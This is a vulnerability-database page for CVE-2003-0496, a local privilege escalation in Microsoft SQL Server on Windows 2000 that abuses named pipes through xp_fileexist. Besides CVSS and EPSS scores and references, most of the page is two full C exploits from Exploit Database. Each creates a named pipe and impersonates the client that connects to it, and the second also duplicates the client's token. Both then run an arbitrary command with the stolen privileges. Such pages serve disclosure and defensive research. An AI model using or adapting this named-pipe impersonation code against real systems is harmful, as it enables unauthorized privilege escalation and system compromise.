CVE-2003-0496 : Detail

CVE-2003-0496

0.05%V3
Local
2003-07-10
02h00 +00:00
2016-10-17
11h57 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft SQL Server before Windows 2000 SP4 allows local users to gain privileges as the SQL Server user by calling the xp_fileexist extended stored procedure with a named pipe as an argument instead of a normal file.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 22882

Publication date : 2003-07-07 22h00 +00:00
Author : Maceo
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/8128/info It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account. /* tac0tac0.c - pay no attention to the name, long story... * * Author: Maceo * Modified to take advantage of CAN-2003-0496 Named Pipe Filename * Local Privilege Escalation Found by @stake. Use with their Advisory. * [email protected] http://sh0dan.org * * * All credits for code go to Maceo, i really did minimal work * with his code, it took me like 3 seconds heh. * Shouts to #innercircle, * */ #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); if (argc != 2) { fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local Priv Escalation found by @stake.\n" "This code is to be used with MS-SQL exactly as outlined in their advisory\n" "All credit for this code goes to Maceo, he did a fine job.. -wire\n",argv[0]); exit(1); } // build the next named pipe name // char szPipe[64]; //sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", ++dwNumber); sprintf(szPipe, "\\\\.\\pipe\\poop"); // create the named pipe before scm can // HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } ConnectNamedPipe (hPipe, NULL); // assume the identity of the client // if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } // display impersonating users name // dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); system(argv[1]); CloseHandle(hPipe); return 0; }
Exploit Database EDB-ID : 22883

Publication date : 2003-07-07 22h00 +00:00
Author : Maceo
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/8128/info It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account. /* tac0tac0.c - pay no attention to the name, long story... * * * * Author: Maceo * Modified to take advantage of CAN-2003-0496 Named Pipe Filename * Local Privilege Escalation Found by @stake. Use with their advisory * [email protected] http://sh0dan.org/files/tac0tac0.c * * * All credits for code go to Maceo, i really did minimal work * with his code, it took me like 3 seconds heh. * Shouts to #innercircle, * */ #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { char szPipe[64]; DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); DWORD dw = GetLastError(); HANDLE hToken, hToken2; PGENERIC_MAPPING pGeneric; SECURITY_ATTRIBUTES sa; DWORD dwAccessDesired; PACL pACL = NULL; PSECURITY_DESCRIPTOR pSD = NULL; STARTUPINFO si; PROCESS_INFORMATION pi; if (argc != 2) { fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local Priv Escalation found by @stake.\n" "This code is to be used with MS-SQL exactly as outlined in their advisory\n" "All credit for this code goes to Maceo, he did a fine job.. -wire\n" "Also thanks goes to brett Moore for helping me with DuplicateTokenEx, thanks buddy guy!\n",argv[0]); exit(1); } memset(&si,0,sizeof(si)); sprintf(szPipe, "\\\\.\\pipe\\poop"); // create the named pipe HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 3; } printf("Created Named Pipe: \\\\.\\pipe\\poop\n"); // setup security attribs pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = pSD; sa.bInheritHandle = FALSE; printf("Waiting for connection...\n"); // wait for client to connect ConnectNamedPipe (hPipe, NULL); // assume the identity of the client // if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 5; } if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) { if (hToken != INVALID_HANDLE_VALUE) { printf("GetLastError: %u\n", dw); CloseHandle(hToken); exit(0); } } printf("Duplicating Token...\n"); if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation, TokenPrimary,&hToken2) == 0) { printf("error in duplicate token\n"); printf("GetLastError: %u\n", dw); exit(0); } MapGenericMask( &dwAccessDesired, pGeneric ); // display impersonating users name dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); si.cb = sizeof(si); si.lpDesktop = NULL; printf("Creating New Process %s\n", argv[1]); if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa, &sa,true, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) { printf("GetLastError: %u\n", dw); } CloseHandle(hPipe); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

Microsoft>>Windows_2000_terminal_services >> Version *

References

http://marc.info/?l=bugtraq&m=105820282607865&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.atstake.com/research/advisories/2003/a070803-1.txt
Tags : vendor-advisory, x_refsource_ATSTAKE
http://marc.info/?l=bugtraq&m=105830986720243&w=2
Tags : mailing-list, x_refsource_BUGTRAQ